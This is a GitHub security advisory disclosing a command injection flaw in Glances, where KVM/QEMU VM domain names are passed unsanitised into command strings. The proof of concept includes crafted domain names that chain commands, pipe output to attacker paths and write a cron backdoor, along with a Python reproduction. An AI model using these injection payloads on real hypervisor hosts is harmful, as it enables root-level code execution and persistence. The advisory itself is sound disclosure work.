GHSA-V5R2-QH84-FJX5

Vulnerability from github – Published: 2026-06-22 21:14 – Updated: 2026-06-22 21:14
VLAI
Summary
Glances is Vulnerable to Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py
Details

Summary

The Glances KVM/QEMU monitoring engine (glances/plugins/vms/engines/virsh.py) passes VM domain names, read directly from virsh list --all output, into f-string command templates that are processed by secure_popen(). secure_popen() is explicitly designed to interpret &&, |, and > as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts.


Details

Affected file: glances/plugins/vms/engines/virsh.py

Direct URLs (commit 04579778e733d705898a169e049dc84772c852da): - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L185 - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L204

The vulnerable calls are on lines 185 and 204:

# line 185  (update_stats)
ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}')

# line 204  (update_title)
ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}')

domain is the name string parsed from the output of virsh list --all (line 59–78 in the same file); no sanitisation is applied to it at any point before it reaches secure_popen().

secure_popen() is defined in glances/secure.py. It explicitly splits the command string on &&, |, and > before invoking subprocess.Popen with shell=False on each part, meaning all three operators are treated as real pipeline/redirection control characters:

# glances/secure.py
def secure_popen(cmd):
    ret = ''
    for c in cmd.split('&&'):        # '&&' → two separate processes
        ret += __secure_popen(c)
    return ret

def __secure_popen(cmd):
    for sub_cmd in cmd.split('|'):   # '|' → stdin/stdout piped
        p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE)
    # '>' is split separately for file redirection

By contrast, actions.py sanitises process names through _sanitize_mustache_dict() before they reach secure_popen(). The vms plugin applies no such protection.

Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).

All three injection operators were verified:

Operator Effect Confirmed
&& Second command executes after the virsh call Yes
\| Output of virsh piped to injected command Yes
> virsh output redirected to arbitrary file Yes

PoC

Special configuration required

  • Glances must be configured to monitor a KVM/QEMU hypervisor: the vms plugin must be enabled and /usr/bin/virsh must be installed and executable.
  • The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the libvirt group, a typical default on Ubuntu/Debian/Fedora, or a cloud-platform tenant account).
  • No custom glances.conf settings are needed beyond a working virsh setup.

Step 1 — Create a VM with a crafted domain name

Using the && operator to chain a second command:

<domain type="kvm">
  <name>productionDB &amp;&amp; touch /tmp/glances_pwned</name>
  <memory>131072</memory>
  <vcpu>1</vcpu>
  <os><type arch="x86_64">hvm</type></os>
</domain>
virsh define evil-domain.xml

Step 2 — Start Glances with KVM monitoring enabled

glances                # or: glances -s / glances -w

On the next monitoring cycle Glances calls:

virsh domstats --nowait "productionDB && touch /tmp/glances_pwned"

which secure_popen() splits into two processes: 1. virsh domstats --nowait productionDB 2. touch /tmp/glances_pwned

Step 3 — Verify execution

ls -la /tmp/glances_pwned   # file will exist, owned by the Glances user

Pipe injection (|) example

Domain name: "productionDB | tee /tmp/virsh_output_stolen.txt"

The output of the virsh call is piped to tee, writing the data to an attacker-controlled path.

File-write injection (>) example

Domain name: "productionDB > /etc/cron.d/glances_backdoor"

The virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle.

Minimal Python reproduction (no VM required)

import sys
sys.path.insert(0, '/path/to/glances')   # adjust to local clone
from glances.secure import secure_popen

# Simulates the exact call in virsh.py line 185
domain = 'productionDB && id'
result = secure_popen(f'/bin/echo domstats --nowait {domain}')
print(result)
# Output will include two lines: the echo output AND the output of `id`

Impact

Vulnerability type: Command Injection (CWE-78)

Who is impacted: Any deployment of Glances on a KVM/QEMU hypervisor host where the vms plugin is active. Exploitation requires the attacker to have libvirt domain-creation or domain-rename rights — a privilege granted by default to members of the libvirt group and to cloud-platform tenant APIs.

Impact: - Confidentiality: Full — arbitrary commands can exfiltrate secrets from the Glances process environment and the file system. - Integrity: Full — file-write injection (>) allows placing content in any file writable by the Glances process (cron, authorised_keys, etc.). - Availability: Full — the Glances process can be terminated or the host disrupted through the injected commands.

In cloud and multi-tenant virtualisation environments, Glances commonly runs as root on the hypervisor to access performance counters, so successful exploitation typically yields root-level code execution.


Suggested Fix

Replace the f-string interpolation with list-based argument passing to avoid any interaction with secure_popen()'s operator splitting logic:

# virsh.py — replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE

result = run(
    [VIRSH_PATH, 'domstats', '--nowait', domain],
    stdout=PIPE, stderr=PIPE, timeout=5
)

Alternatively, sanitise domain using the same _sanitize_mustache_dict helper already used in actions.py, which strips &&, |, >, ;, and backtick characters from string values.

As a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with CAP_SYS_PTRACE rather than as root.


Responsible Disclosure

The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.


Credits

This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.


Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46606"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T21:14:06Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe Glances KVM/QEMU monitoring engine (`glances/plugins/vms/engines/virsh.py`) passes VM domain names, read directly from `virsh list --all` output, into f-string command templates that are processed by `secure_popen()`. `secure_popen()` is explicitly designed to interpret `\u0026\u0026`, `|`, and `\u003e` as shell operators.  Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances \u2014 commonly root on hypervisor hosts.\n\n---\n\n### Details\n\n**Affected file:** `glances/plugins/vms/engines/virsh.py`\n\n**Direct URLs (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L185\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L204\n\nThe vulnerable calls are on lines 185 and 204:\n\n```python\n# line 185  (update_stats)\nret_cmd = secure_popen(f\u0027{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}\u0027)\n\n# line 204  (update_title)\nret_cmd = secure_popen(f\u0027{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}\u0027)\n```\n\n`domain` is the name string parsed from the output of `virsh list --all` (line 59\u201378 in the same file); no sanitisation is applied to it at  any point before it reaches `secure_popen()`.\n\n`secure_popen()` is defined in `glances/secure.py`.  It explicitly splits the command string on `\u0026\u0026`, `|`, and `\u003e` before invoking `subprocess.Popen` with `shell=False` on each part, meaning all three operators are treated as real pipeline/redirection control characters:\n\n```python\n# glances/secure.py\ndef secure_popen(cmd):\n    ret = \u0027\u0027\n    for c in cmd.split(\u0027\u0026\u0026\u0027):        # \u0027\u0026\u0026\u0027 \u2192 two separate processes\n        ret += __secure_popen(c)\n    return ret\n\ndef __secure_popen(cmd):\n    for sub_cmd in cmd.split(\u0027|\u0027):   # \u0027|\u0027 \u2192 stdin/stdout piped\n        p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE)\n    # \u0027\u003e\u0027 is split separately for file redirection\n```\n\nBy contrast, `actions.py` sanitises process names through `_sanitize_mustache_dict()` before they reach `secure_popen()`.  The `vms` plugin applies no such protection.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nAll three injection operators were verified:\n\n| Operator | Effect | Confirmed |\n|----------|--------|-----------|\n| `\u0026\u0026`     | Second command executes after the virsh call | Yes |\n| `\\|`     | Output of virsh piped to injected command    | Yes |\n| `\u003e`      | virsh output redirected to arbitrary file    | Yes |\n\n---\n\n### PoC\n\n**Special configuration required**\n\n* Glances must be configured to monitor a KVM/QEMU hypervisor: the `vms` plugin must be enabled and `/usr/bin/virsh` must be installed and executable.\n* The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the `libvirt` group, a typical default on  Ubuntu/Debian/Fedora, or a cloud-platform tenant account).\n* No custom `glances.conf` settings are needed beyond a working virsh setup.\n\n**Step 1 \u2014 Create a VM with a crafted domain name**\n\nUsing the `\u0026\u0026` operator to chain a second command:\n\n```xml\n\u003cdomain type=\"kvm\"\u003e\n  \u003cname\u003eproductionDB \u0026amp;\u0026amp; touch /tmp/glances_pwned\u003c/name\u003e\n  \u003cmemory\u003e131072\u003c/memory\u003e\n  \u003cvcpu\u003e1\u003c/vcpu\u003e\n  \u003cos\u003e\u003ctype arch=\"x86_64\"\u003ehvm\u003c/type\u003e\u003c/os\u003e\n\u003c/domain\u003e\n```\n\n```bash\nvirsh define evil-domain.xml\n```\n\n**Step 2 \u2014 Start Glances with KVM monitoring enabled**\n\n```bash\nglances                # or: glances -s / glances -w\n```\n\nOn the next monitoring cycle Glances calls:\n\n```\nvirsh domstats --nowait \"productionDB \u0026\u0026 touch /tmp/glances_pwned\"\n```\n\nwhich `secure_popen()` splits into two processes:\n1. `virsh domstats --nowait productionDB`\n2. `touch /tmp/glances_pwned`\n\n**Step 3 \u2014 Verify execution**\n\n```bash\nls -la /tmp/glances_pwned   # file will exist, owned by the Glances user\n```\n\n**Pipe injection (`|`) example**\n\nDomain name: `\"productionDB | tee /tmp/virsh_output_stolen.txt\"`\n\nThe output of the virsh call is piped to `tee`, writing the data to an attacker-controlled path.\n\n**File-write injection (`\u003e`) example**\n\nDomain name: `\"productionDB \u003e /etc/cron.d/glances_backdoor\"`\n\nThe virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle.\n\n**Minimal Python reproduction (no VM required)**\n\n```python\nimport sys\nsys.path.insert(0, \u0027/path/to/glances\u0027)   # adjust to local clone\nfrom glances.secure import secure_popen\n\n# Simulates the exact call in virsh.py line 185\ndomain = \u0027productionDB \u0026\u0026 id\u0027\nresult = secure_popen(f\u0027/bin/echo domstats --nowait {domain}\u0027)\nprint(result)\n# Output will include two lines: the echo output AND the output of `id`\n```\n\n---\n\n### Impact\n\n**Vulnerability type:** Command Injection (CWE-78)\n\n**Who is impacted:** Any deployment of Glances on a KVM/QEMU hypervisor host where the `vms` plugin is active.  Exploitation requires the attacker to have libvirt domain-creation or domain-rename rights \u2014 a privilege granted by default to members of the `libvirt` group and to cloud-platform tenant APIs.\n\n**Impact:**\n- **Confidentiality:** Full \u2014 arbitrary commands can exfiltrate secrets from the Glances process environment and the file system.\n- **Integrity:** Full \u2014 file-write injection (`\u003e`) allows placing content in any file writable by the Glances process (cron, authorised_keys, etc.).\n- **Availability:** Full \u2014 the Glances process can be terminated or the host disrupted through the injected commands.\n\nIn cloud and multi-tenant virtualisation environments, Glances commonly runs as root on the hypervisor to access performance counters, so successful exploitation typically yields root-level code execution.\n\n---\n\n### Suggested Fix\n\nReplace the f-string interpolation with list-based argument passing to avoid any interaction with `secure_popen()`\u0027s operator splitting logic:\n\n```python\n# virsh.py \u2014 replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE\n\nresult = run(\n    [VIRSH_PATH, \u0027domstats\u0027, \u0027--nowait\u0027, domain],\n    stdout=PIPE, stderr=PIPE, timeout=5\n)\n```\n\nAlternatively, sanitise `domain` using the same `_sanitize_mustache_dict` helper already used in `actions.py`, which strips `\u0026\u0026`, `|`, `\u003e`, `;`, and backtick characters from string values.\n\nAs a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with `CAP_SYS_PTRACE` rather than as root.\n\n---\n\n### Responsible Disclosure\n\nThe AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.\n\n---\n\n### Credits\n\nThis issue was identified by Micha\u0142 Majchrowicz and Marcin Wyczechowski, members\nof the AFINE Team.\n\n---",
  "id": "GHSA-v5r2-qh84-fjx5",
  "modified": "2026-06-22T21:14:06Z",
  "published": "2026-06-22T21:14:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-v5r2-qh84-fjx5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Glances is Vulnerable to Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py"
}


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